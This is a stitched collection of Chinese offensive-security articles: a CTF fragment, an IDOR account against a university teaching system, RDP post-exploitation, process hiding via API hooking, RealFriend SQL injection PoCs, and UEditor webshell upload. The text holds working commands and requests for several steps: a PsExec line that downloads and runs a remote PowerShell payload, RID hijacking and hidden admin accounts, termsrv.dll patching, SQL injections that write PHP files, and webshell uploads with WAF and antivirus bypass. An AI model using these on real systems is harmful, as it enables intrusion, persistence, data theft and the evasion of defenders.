i++)   {        if (temp[i]) {            //left            left(dword_402120[i], 8);       }        else {            //xor            xors(dword_402120[i], 40);       }   } } 到此,恭喜你学会了分析一道CTF题目最基本的步骤。
双一流高校某教学系统存在多个高危漏洞
脆弱资产搜集 信息搜集过程中,除了用常见子域名扫一遍,还可以通过空间搜索引擎手动搜索。我用的就是把学校名称或者缩写作为关键字,利用语法: web.body="关键字"&&web.body="系统" web.body="关键字"&&web.body="登录" web.title="关键字"&&web.body="管理" web.title="关键字"&&web.body="后台" 等一系列语法进行挨个查看。 进行信息搜索(你得有一套自己的信息搜集逻辑吧,不然连这个系统都找不到)后,找到一处教学管理系统,点击页面上方软件,点击蓝色链接,进入教学系统 此处存在多个平台,但发现只有几个平台可以点击进入,先点击右上角的:国际结算 出现一个登录框,发现存在注册按钮,并且注册没有任何限制,直接注册账号进行登录(能进后台肯定先进后台测试,之后再测登录框漏洞) 后台敏感信息越权获取 进入后页面如下,挖洞需要首先观察功能点,将所有能点的都点一遍,将功能转化为接口,转化为数据包后,再进行测试。 经过观察,除了修改个人资料与修改密码,其它均为查看资料的地方,尝试sql注入,RCE,文件包含,目录遍历等漏洞均无成果,于是将目光转到这两处功能点。 点击修改个人资料,再点击保存,转到burpsuite查看数据包 发现此处展现了我的账户,密码等个人信息,且数据包body较为简单,于是将数据包转到repeater进行测试。将userId改为2018发包,发现返回其他用户信息。 经过尝试可以实现登录,再次将userId改为0001和0002直接展现管理员与超级管理员账号,并成功登录。(经过尝试,大概能获取两千左右的用户信息。) 未授权加越权 得到越权漏洞一个,但挖洞时注意数据包如果存在cookie等鉴权字段,就可以尝试删除,如果还能获取就可能存在未授权漏洞。 删除cookie后发包,再次成功获取数据,退出登录,过了半天后再次发送数据包,依旧成功获取数据,于是又将危害扩大,能够实现未授权状态对任意用户信息的获取。 继续查看先前的历史数据包,找到保存信息那一个数据包。将其发送到repeater模块进行分析。 接着先前思路删除cookie但修改个人信息失败。进一步分析数据包,发现两个可疑参数:head头的userId与body处的userId,经过尝试,将head头的userId修改可以实现越权修改他人信息,例如我将userId修改为2018再通过先前拿到的账户密码,发现他的信息已经被修改为了我的信息。 (经过尝试,以上漏洞通杀v1.v2.v3版本) 之后对修改密码处进行一套checklist无果...... 编辑器文件上传利用 秉持着功能点多少决定攻击面大小的想法,我先登录进入了管理员账户。 在没有太多功能点的情况下,从分析js文件出发找功能点,有充足功能的情况下,就先将页面展现出来的功能点转化为接口测试,最后再分析js文件。 进入普通管理员后台,先将整个后台功能点进行总览,先不要着急去测功能点,把功能点先点一遍,再从数据包开始分析。 在数据包中发现Editor字段,加上此处存在试卷编辑功能点,于是猜测可能使用了编辑器,在js文件中搜索关键字: 直接找到kindeditor编辑器,此处直接想到可以尝试kindeditor的文件上传与目录遍历漏洞(多挖才会有思路) 注意此处涉及到接口拼接的一个问题,网上找的相关漏洞复现他们的路径并不是完全通用的,我们在做js拼接时也要注意,路径是否存在一个根路径,本例的根路径就是Content,如果你直接找网上的路径拼接到url处是不行的。 例如查看kindeditor版本的路径就应该是: 为4.1.10貌似存在漏洞,于是访问如下界面: 看到这个页面,根据我的经验估计稳了。于是按照步骤部署html上传页面,再将自己写另一个的xss的html通过自己的html页面进行上传,抓包得到返回路径,拼接后访问,成功弹窗,此漏洞可在未登录状态完成。(另一个目录遍历漏洞未能成功) 以下是kindeditor文件上传的html上传页面代码:(xss代码自己写) <head> <title>File Upload</title> </head> <body> <form enctype="multipart/form-data" action="http://******/Content/KindEditor/asp.net/upload_json.ashx?dir=file" method="post"> <p>Upload a new file:</p> <input type="file" name="imgFile" size="50"><br> <input type="submit" value="Upload"> </form> </body> 通过数据包还看到IIS版本为7.5尝试IIS解析漏洞与MS15-034(代码执行)无果。
Windows远程桌面的奇技淫巧
前言 Windows远程桌面简介 远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者连上提供微软终端机服务的计算机(称为服务端或远程计算机) 远程桌面的前置条件 在获取权限后,针对3389进行展开,先查询3389端口是否开启 netstat -ano | findstr 3389 发现没有开启(也有可能更改了端口),则可以通过注册表进行手动启动(需要管理员权限) REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f     (开启) REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f     (关闭) 若执行失败,可能由于系统版本过旧(以下开启命令适用于Windows Server 2003之前系统) wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 1(开启) wmic path Win32_TerminalServiceSetting where (__class = "Win32_TerminalServiceSetting") call SetAllowTSConnections 0(关闭) 有些运维人员会勾选”仅允许使用网络级别的身份验证的远程桌面的计算机连接”选项,我们也可以通过注册表进行关闭,避免影响连接(开启同理0替换成1) REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f 为了避免运维人员更改了RDP端口,可以确认下RDP端口 reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber 正常若是3389端口为0xd3d(默认是十六进制表示) 在这里还需要保证防火墙等安全设备没有禁止且相互之间网络必须相通,这里防火墙设置只允许单独端口放通,减少运维人员的警觉(只允许3389端口放通) netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow 通过命令删除防火墙的通行策略(清理痕迹) netsh advfirewall firewall delete rule name="RemoteDesktop" 克隆账户接管administrator桌面 适用场景 在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面 利用步骤(默认情况下需要system权限) 在administrator权限下进行切换(利用PsExec工具进行powershell无文件落地上线system权限) shell "PsExec64.exe -accepteula -s powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.108.132:8080/a'))"" (-accepteula同意最终用户许可协议End User License Agreement,否则会弹窗无法运行) 查询用户的SID,方便选择克隆对象(常克隆Guest用户,系统自带不易察觉且默认的SID为501) 这里克隆administrator用户为Guest用户,将SID为500(对应十六进制为0x1f4)的管理员账号的相关信息导出为admin.reg regedit /e admin.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 将注册表文件下载到本地方便编辑(下载后默认在本地CS目录的下的download文件夹下,文件下载后需要重命名) download admin.reg 将admin.reg文件的第三行HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4中的“1F4”修改为Guest的SID为1F5(十六进制),并保存为new.reg(方便区分) 将new.reg重新上传到受害机中 导入编辑好的new.reg文件 regedit /s new.reg 修改Guest密码便于远程登录,并及时清理两个reg文件 net user Guest Admin@123 del /F C:\Users\Administrator\Desktop\admin.reg C:\Users\Administrator\Desktop\new.reg 此时直接进行远程登录Guest账户,其实是administrator账户的系统,成功接管! 新建隐藏管理员+远程软件+会话劫持组合拳接管administrator桌面 适用场景 在无法获取明文密码或者Hash等凭据,但是想接管实时的administrator桌面 利用步骤 添加新隐藏用户 net user yuzi$ Admin@123 /add 将新隐藏用户添加到管理员组 net localgroup administrators yuzi$ /add 此时直接进行远程登录隐藏账户,进行图形化操作 若遇到对方已有用户在线,可能会出现以下界面(Windows sever版本默认支持多用户同时在线,Windows其他版本不支持) 此时为了做到更加隐蔽的进行登录(强迫登录会使对方会话掉线),可以修改termsrv.dll文件实现,操作前要将所有权转移给本地管理员,向本地管理员组授予对termsrv.dll文件的“完全控制”权限(若是通过powershell无文件远控的形式执行如下命令可能会出现问题,则需要在可执行木马的远控场景执行命令) takeown /F c:\Windows\System32\termsrv.dll /A icacls c:\Windows\System32\termsrv.dll /grant Administrators:F 修改系统文件可能会导致系统不稳定,确保有原始termsrv.dll文件的备份 copy c:\Windows\System32\termsrv.dll termsrv.dll_backup 接下来将对方的c:\Windows\System32\termsrv.dll文件下载至本地 download c:\Windows\System32\termsrv.dll 在编辑dll前需要确认当前系统的版本号,查看Windows的版本号 powershell Get-ComputerInfo -Property WindowsVersion, OsName 通过十六进制文本编辑器进行编辑termsrv.dll文件,按照不同的Windows的版本查找对应的字符串标识,替换为B8 00 01 00 00 89 81 38 06 00 00 90 修改完成后上传至对方,进行强制替换系统自带的termsrv.dll,(替换前需要先停止远程服务,以免发生冲突,替换后再重新启用远程服务) net stop TermService /y copy /y C:\Users\Administrator\Desktop\termsrv.dll c:\windows\system32\termsrv.dll net start TermService 重新进行3389远程连接,发现已经可以直接登录到新建隐藏管理员桌面,不再出现提示页面 借助Windows的特性,直接在新建隐藏管理员桌面安装轻量级的远控桌面软件并运行(这里以GotoHTTP为例) 在攻击机本地进行GotoHTTP远程桌面时候,发现已经成功接管了administrator的实时桌面(由于GotoHTTP是以管理员身份运行的故显示的administrator桌面) 若运气不好,发现利用GotoHTTP远程后在锁定页面,此时还可以配合会话劫持进行接管administrator实时桌面 接下来进行劫持(劫持administrator的会话),查询可劫持的会话 quser 以管理员权限运行cmd,创建服务(用于会话劫持的权限需要system,恰好Windows的服务是以system权限运行,其中的1为需要劫持的ID值) sc create rdp binpath= "cmd.exe /k tscon 1 /dest:console" 启动并且删除服务后,发现此时的GotoHTTP页面已经成功进入解锁状态的桌面 sc start rdp & sc delete rdp & exit 远程结束后进行删除隐藏用户(清理痕迹,这类隐藏用户容易发现) net user yuzi$ /delete
浅谈进程隐藏技术
前言 在之前几篇文章已经学习了解了几种钩取的方法 ● 浅谈调试模式钩取 ● 浅谈热补丁 ● 浅谈内联钩取原理与实现 ● 导入地址表钩取技术 这篇文章就利用钩取方式完成进程隐藏的效果。 进程遍历方法 在实现进程隐藏时,首先需要明确遍历进程的方法。 CreateToolhelp32Snapshot CreateToolhelp32Snapshot函数用于创建进程的镜像,当第二个参数为0时则是创建所有进程的镜像,那么就可以达到遍历所有进程的效果。 #include <iostream> #include <Windows.h> #include <TlHelp32.h> int main() {    //设置编码,便于后面能够输出中文    setlocale(LC_ALL, "zh_CN.UTF-8");    //创建进程镜像,参数0代表创建所有进程的镜像    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (hSnapshot == INVALID_HANDLE_VALUE)   {        std::cout << "Create Error" << std::endl;        exit(-1);   }    /*    * typedef struct tagPROCESSENTRY32 {    * DWORD dwSize;               进程信息结构体大小,首次调用之前必须初始化    * DWORD cntUsage;              引用进程的次数,引用次数为0时,则进程结束    * DWORD th32ProcessID;           进程的ID    * ULONG_PTR th32DefaultHeapID;      进程默认堆的标识符,除工具使用对我们没用    * DWORD th32ModuleID;                 进程模块的标识符    * DWORD cntThreads;            进程启动的执行线程数    * DWORD th32ParentProcessID;           父进程ID    * LONG pcPriClassBase;          进程线程的基本优先级    * DWORD dwFlags;              保留    * TCHAR szExeFile[MAX_PATH];         进程的路径    * } PROCESSENTRY32;    * typedef PROCESSENTRY32 *PPROCESSENTRY32;    */    PROCESSENTRY32 pi;    pi.dwSize = sizeof(PROCESSENTRY32);    //取出第一个进程    BOOL bRet = Process32First(hSnapshot, &pi);    while (bRet)   {        wprintf(L"进程路径:%s\t进程号:%d\n", pi.szExeFile, pi.th32ProcessID);        //取出下一个进程        bRet = Process32Next(hSnapshot, &pi);   } } EnumProcesses EnumProcesses用于将所有进程号的收集。 #include <iostream> #include <Windows.h> #include <Psapi.h> int main() {    setlocale(LC_ALL, "zh_CN.UTF-8");    DWORD processes[1024], dwResult, size;    unsigned int i; //收集所有进程的进程号    if (!EnumProcesses(processes, sizeof(processes), &dwResult))   {        std::cout << "Enum Error" << std::endl;   }    //进程数量    size = dwResult / sizeof(DWORD);    for (i = 0; i < size; i++)   {        //判断进程号是否为0        if (processes[i] != 0)       {            //用于存储进程路径            TCHAR szProcessName[MAX_PATH] = { 0 };            //使用查询权限打开进程            HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |                PROCESS_VM_READ,                FALSE,                processes[i]);            if (hProcess != NULL)           {                HMODULE hMod;                DWORD dwNeeded; //收集该进程的所有模块句柄,第一个句柄则为文件路径                if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),                    &dwNeeded))               {                    //根据句柄获取文件路径                    GetModuleBaseName(hProcess, hMod, szProcessName,                        sizeof(szProcessName) / sizeof(TCHAR));               }                wprintf(L"进程路径:%s\t进程号:%d\n", szProcessName, processes[i]);           }       }     } } ZwQuerySystemInfomation ZwQuerySystemInfomation函数是CreateToolhelp32Snapshot函数与EnumProcesses函数底层调用的函数,也用于遍历进程信息。代码参考https://cloud.tencent.com/developer/article/1454933 #include <iostream> #include <Windows.h> #include <ntstatus.h> #include <winternl.h> #pragma comment(lib, "ntdll.lib") //定义函数指针 typedef NTSTATUS(WINAPI* NTQUERYSYSTEMINFORMATION)( IN      SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT   PVOID                    SystemInformation, IN      ULONG                    SystemInformationLength, OUT PULONG                   ReturnLength ); int main() {    //设置编码 setlocale(LC_ALL, "zh_CN.UTF-8");    //获取模块地址 HINSTANCE ntdll_dll = GetModuleHandle(L"ntdll.dll"); if (ntdll_dll == NULL) { std::cout << "Get Module Error" << std::endl; exit(-1); } NTQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL; //获取函数地址 ZwQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(ntdll_dll, "ZwQuerySystemInformation"); if (ZwQuerySystemInformation != NULL) { SYSTEM_BASIC_INFORMATION sbi = { 0 };        //查询系统基本信息 NTSTATUS status = ZwQuerySystemInformation(SystemBasicInformation, (PVOID)&sbi, sizeof(sbi), NULL); if (status == STATUS_SUCCESS) { wprintf(L"处理器个数:%d\r\n", sbi.NumberOfProcessors); } else { wprintf(L"ZwQuerySystemInfomation Error\n"); } DWORD dwNeedSize = 0; BYTE* pBuffer = NULL; wprintf(L"\t----所有进程信息----\t\n"); PSYSTEM_PROCESS_INFORMATION psp = NULL;        //查询进程数量 status = ZwQuerySystemInformation(SystemProcessInformation, NULL, 0, &dwNeedSize); if (status == STATUS_INFO_LENGTH_MISMATCH) { pBuffer = new BYTE[dwNeedSize];            //查询进程信息 status = ZwQuerySystemInformation(SystemProcessInformation, (PVOID)pBuffer, dwNeedSize, NULL); if (status == STATUS_SUCCESS) { psp = (PSYSTEM_PROCESS_INFORMATION)pBuffer; wprintf(L"\tPID\t线程数\t工作集大小\t进程名\n"); do {                    //获取进程号 wprintf(L"\t%d", psp->UniqueProcessId);                    //获取线程数量 wprintf(L"\t%d", psp->NumberOfThreads);                    //获取工作集大小 wprintf(L"\t%d", psp->WorkingSetSize / 1024);                    //获取路径 wprintf(L"\t%s\n", psp->ImageName.Buffer);                    //移动 psp = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)psp + psp->NextEntryOffset); } while (psp->NextEntryOffset != 0); delete[]pBuffer; pBuffer = NULL; } else if (status == STATUS_UNSUCCESSFUL) { wprintf(L"\n STATUS_UNSUCCESSFUL"); } else if (status == STATUS_NOT_IMPLEMENTED) { wprintf(L"\n STATUS_NOT_IMPLEMENTED"); } else if (status == STATUS_INVALID_INFO_CLASS) { wprintf(L"\n STATUS_INVALID_INFO_CLASS"); } else if (status == STATUS_INFO_LENGTH_MISMATCH) { wprintf(L"\n STATUS_INFO_LENGTH_MISMATCH"); } } } } 进程隐藏 通过上述分析可以知道遍历进程的方式有三种,分别是利用CreateToolhelp32Snapshot、EnumProcesses以及ZwQuerySystemInfomation函数 但是CreateToolhelp32Snapshot与EnumProcesses函数底层都是调用了ZwQuerySystemInfomation函数,因此我们只需要钩取该函数即可。 由于测试环境是Win11,因此需要判断在Win11情况下底层是否还是调用了ZwQuerySystemInfomation函数。 可以看到在Win11下还是会调用ZwQuerySystemInfomation函数,在用户态下该函数的名称为NtQuerySystemInformation函数。 这里采用内联钩取的方式对ZwQuerySystemInfomation进行钩取处理,具体怎么钩取在已经介绍过了,这里就不详细说明了。这里对自定义的ZwQuerySystemInfomation函数进行说明。 首先第一步需要进行脱钩处理,因为后续需要用到初始的ZwQuerySystemInfomation函数,紧接着获取待钩取函数的地址即可。 ...    //脱钩    UnHook("ntdll.dll", "ZwQuerySystemInformation", g_pOrgBytes);    HMODULE hModule = GetModuleHandleA("ntdll.dll"); //获取待钩取函数的地址    PROC    pfnOld = GetProcAddress(hModule, "ZwQuerySystemInformation"); //调用原始的ZwQuerySystemInfomation函数    NTSTATUS status = ((NTQUERYSYSTEMINFORMATION)pfnOld)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); ... 为了隐藏指定进程,我们需要遍历进程信息,找到目标进程并且删除该进程信息实现隐藏的效果。这里需要知道的是进程信息都存储在SYSTEM_PROCESS_INFORMATION结构体中,该结构体是通过单链表对进程信息进行链接。因此我们通过匹配进程名称找到对应的SYSTEM_PROCESS_INFORMATION结构体,然后进行删除即可,效果如下图。 通过单链表中删除节点的操作,取出目标进程的结构体。代码如下 ... pCur = (PSYSTEM_PROCESS_INFORMATION)(SystemInformation);        while (true)       {            if (!lstrcmpi(pCur->ImageName.Buffer, L"test.exe"))           {                //需要隐藏的进程是最后一个节点                if (pCur->NextEntryOffset == 0)                    pPrev->NextEntryOffset = 0;                //不是最后一个节点,则将该节点取出                else                    pPrev->NextEntryOffset += pCur->NextEntryOffset;           }            //不是需要隐藏的节点,则继续遍历            else                pPrev = pCur;            //链表遍历完毕            if (pCur->NextEntryOffset == 0)                break;            pCur = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pCur + pCur->NextEntryOffset);       } ... 完整代码:https://github.com/h0pe-ay/HookTechnology/blob/main/ProcessHidden/inlineHook.c 但是采用内联钩取的方法去钩取任务管理器就会出现一个问题,这里将断点取消,利用内联钩取的方式去隐藏进程。 首先利用bl命令查看断点 紧着利用 bc [ID]删除断点 在注入之后任务管理器会在拷贝的时候发生异常 在经过一番调试后发现,由于多线程共同执行导致原本需要可写权限的段被修改为只读权限 在windbg可以用使用!vprot + address查看指定地址的权限,可以看到由于程序往只读权限的地址进行拷贝处理,所以导致了异常。 但是在执行拷贝阶段是先修改了该地址为可写权限,那么导致该原因的情况就是其他线程执行了权限恢复后切换到该线程中进行写,所以导致了这个问题。 因此内联钩取是存在多线程安全的问题,此时可以使用微软自己构建的钩取库Detours,可以在钩取过程中确保线程安全。 Detours 项目地址:https://github.com/microsoft/Detours 环境配置 参考:https://www.cnblogs.com/linxmouse/p/14168712.html 使用vcpkg下载 vcpkg.exe install detours:x86-windows vcpkg.exe install detours:x64-windows vcpkg.exe integrate install 实例 挂钩 利用Detours挂钩非常简单,只需要根据下列顺序,并且将自定义函数的地址与被挂钩的地址即可完成挂钩处理。 ...   //用于确保在 DLL 注入或加载时,恢复被 Detours 修改的进程镜像,保持稳定性 DetourRestoreAfterWith();        //开始一个新的事务来附加或分离        DetourTransactionBegin(); //进行线程上下文的更新        DetourUpdateThread(GetCurrentThread()); //挂钩        DetourAttach(&(PVOID&)TrueZwQuerySystemInformation, ZwQuerySystemInformationEx); //提交事务        error = DetourTransactionCommit(); ... 脱钩 然后根据顺序完成脱钩即可。 ...   //开始一个新的事务来附加或分离 DetourTransactionBegin(); //进行线程上下文的更新        DetourUpdateThread(GetCurrentThread()); //脱钩        DetourDetach(&(PVOID&)TrueZwQuerySystemInformation, ZwQuerySystemInformationEx); //提交事务        error = DetourTransactionCommit(); ... 挂钩的原理 从上述可以看到,Detours是通过事务确保了在DLL加载与卸载时后的原子性,但是如何确保多线程安全呢?后续通过调试去发现。 可以利用x ntdl!ZwQuerySystemInformation查看函数地址,可以看到函数的未被挂钩前的情况如下图。 挂钩之后原始的指令被修改为一个跳转指令把前八个字节覆盖掉,剩余的3字节用垃圾指令填充。 该地址里面又是一个jmp指令,并且完成间接寻址的跳转。 该地址是自定义函数ZwQuerySystemInformationEx,因此该间接跳转是跳转到的自定义函数内部。 跳转到TrueZwQuerySystemInformation内部发现ZwQuerySystemInformation函数内部的八字节指令被移动到该函数内部。紧接着又完成一个跳转。 该跳转到ZwQuerySystemInformation函数内部紧接着完成ZwQuerySystemInformation函数的调用。 综上所述,整体流程如下图。实际上Detours实际上使用的是热补丁的思路,但是Detours并不是直接在原始的函数空间中进行补丁,而是开辟了一段临时空间,将指令存储在里面。因此在挂钩后不需要进行脱钩处理就可以调用原始函数。因此就不存在多线程中挂钩与脱钩的冲突。 完整代码:https://github.com/h0pe-ay/HookTechnology/blob/main/ProcessHidden/detoursHook.c
瑞友天翼应用虚拟化系统SQL注入漏洞
最近网上公开了一些瑞友天翼应用虚拟化系统的 SQL 注入漏洞,经过挖掘发现,还存在一些后台 SQL 注入漏洞。 重点关注传入参数可控并且拼接到 SQL 语句中的代码。 getappicon 首先检测了登录状态,然后将通过 GET 获取到的参数 id 直接拼接到 SQL 语句中。 GET /hmrao.php?s=/Admin/getappicon/&id=1');SELECT+SLEEP(5)+AND('1 HTTP/1.1 Host: 192.168.222.145 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.222.145/hmrao.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0 Connection: close 我们打印出执行的 SQL 语句,发现成功闭合 SQL。 GET /hmrao.php?s=/Admin/getappicon/&id=1');select%20'<?php%20phpinfo();?>'%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test1.php%27%23 HTTP/1.1 Host: 192.168.222.145 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.222.145/hmrao.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0 Connection: close 成功将文件写到根目录下。 ‍ useredit 首先检测了登录状态,然后将通过 GET 获取到的参数 id 直接拼接到 SQL 语句中。 我们看到这里检测登录状态的函数是 adminchecklogin 这里进行检测时会根据路由 sessId 来进行检测,所有需要将cookie 拼接在路由器上。 GET /hmrao.php?s=/Admin/useredit/sessId/c3gnn42nnfafaei5im0ti44tp2&uid=1');SELECT+SLEEP(5)%23 HTTP/1.1 Host: 192.168.222.145 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.222.145/hmrao.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0 Connection: close GET /hmrao.php?s=/Admin/useredit/sessId/c3gnn42nnfafaei5im0ti44tp2&uid=1');select%20'<?php%20phpinfo();?>'%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test2.php%27%23 HTTP/1.1 Host: 192.168.222.145 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.222.145/hmrao.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0 Connection: close 成功将文件写到根目录下。 ‍ appedit 首先检测了登录状态,然后将通过 GET 获取到的参数 id 直接拼接到 SQL 语句中。 这里检测登录状态的函数同样也是 adminchecklogin 所以也需要将cookie 拼接在路由中。 GET /hmrao.php?s=/Admin/appedit/sessId/c3gnn42nnfafaei5im0ti44tp2&id=0');select+sleep(5)%23 HTTP/1.1 Host: 192.168.222.145 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.222.145/hmrao.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0 Connection: close GET /hmrao.php?s=/Admin/appedit/sessId/c3gnn42nnfafaei5im0ti44tp2&id=0');select%20'<?php%20phpinfo();?>'%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test.php%27%23 HTTP/1.1 Host: 192.168.222.145 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.222.145/hmrao.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=c3gnn42nnfafaei5im0ti44tp2; think_language=zh-CN; UserAuthtype=0 Connection: close 成功将文件写到根目录下。 ‍
记某次攻防演练:大战UEditor并突破
前言 最近参与某次攻防演练,通过前期信息收集,发现某靶标单位存在某域名备案。 通过fofa搜索子域名站点,发现存在一个子域名的61000端口开放着一个后台,于是开始进行渗透。 目录扫描 进行目录扫描吗,发现/bin.rar路径可以访问到一个压缩文件。 使用下载器下载到电脑,打开压缩包,猜测内容为站点源代码,代码为.net形式,使用c#语言编写。 C#代码经过编译后为dll文件形式,根据dll文件命名规则和.net类型代码格式。我们可以初步判定xxx.Application.Web.dll文件中存在主要的后端逻辑代码。 但是dll为二进制文件我们无法直接查看,因此需要使用dnspy进行反编译查看。 查看方法:将dll文件丢入dnspy即可。 UEditor的曲折利用 在源码中发现该系统使用UEditor。 可得UEditor的路径/Utility/UEditor/controller.ashx 访问关键接口/Utility/UEditor/?action=catchimage和/Utility/UEditor/?action=config 然而服务器返回403无法访问。 通过Fuzz发现403的原因是有可能是因为waf或者edr的拦截。 使用/Utility/UEditor/.css?action=catchimage可进行bypass,成功访问关键接口。 接下来就是参考UEditor .net版本的任意文件上传漏洞进行上传哥斯拉jsp webshell。 漏洞利用参考链接: https://www.freebuf.com/vuls/181814.html上传过程中发现普通哥斯拉jsp webshell上传后就被杀软拦截无法访问。 于是用https://github.com/Tas9er/ByPassGodzilla项目对webshell进行免杀处理。 方可成功上传webshell并进行连接,至此该UEditor站点利用完成,后面就是愉快的打内网。 UEditor的简便利用 传统的UEditor利用都是本地编写一个html文件中包含一个表单,通过提交表单使目标服务器根据提交的图片马地址下载webshell。 <form action="http://xxxxxxxxx/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">  <p>shell addr:<input type="text" name="source[]" /></p >  <inputtype="submit" value="Submit" /> </form> 原理还是通过http请求发送图片马地址,所以直接在burpsuite发包也可以达到相同的效果,省去制作html文件的步骤。 POST /替换漏洞URL地址拼接/UEditor/controller.ashx?action=catchimage HTTP/1.1 Host: x.x.x.x Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded source[]=http://替换为自己服务器开启http服务的URL地址/666.jpg?.aspx 请求发送后,返回包返回webshell路径。 总结 UEditor作为热门常见漏洞,在大型企业集团中的.net老旧系统中非常常见,相关的利用方法以及绕过方法需要非常熟练,方可快人一步迅速拿下权限; 在渗透测试过程中,我们可能会遇到一些与实验环境或他人分享的情况不同的挑战。这时,我们需要具备排查问题原因的能力。例如,在利用漏洞的过程中,可能会遇到无法上传webshell或请求被WAF拦截等情况。我们需要根据场景,修改payload或使用fuzz等技术进行绕过,直到成功利用漏洞并获取所需的权限,完成渗透。大战UEditor并突破。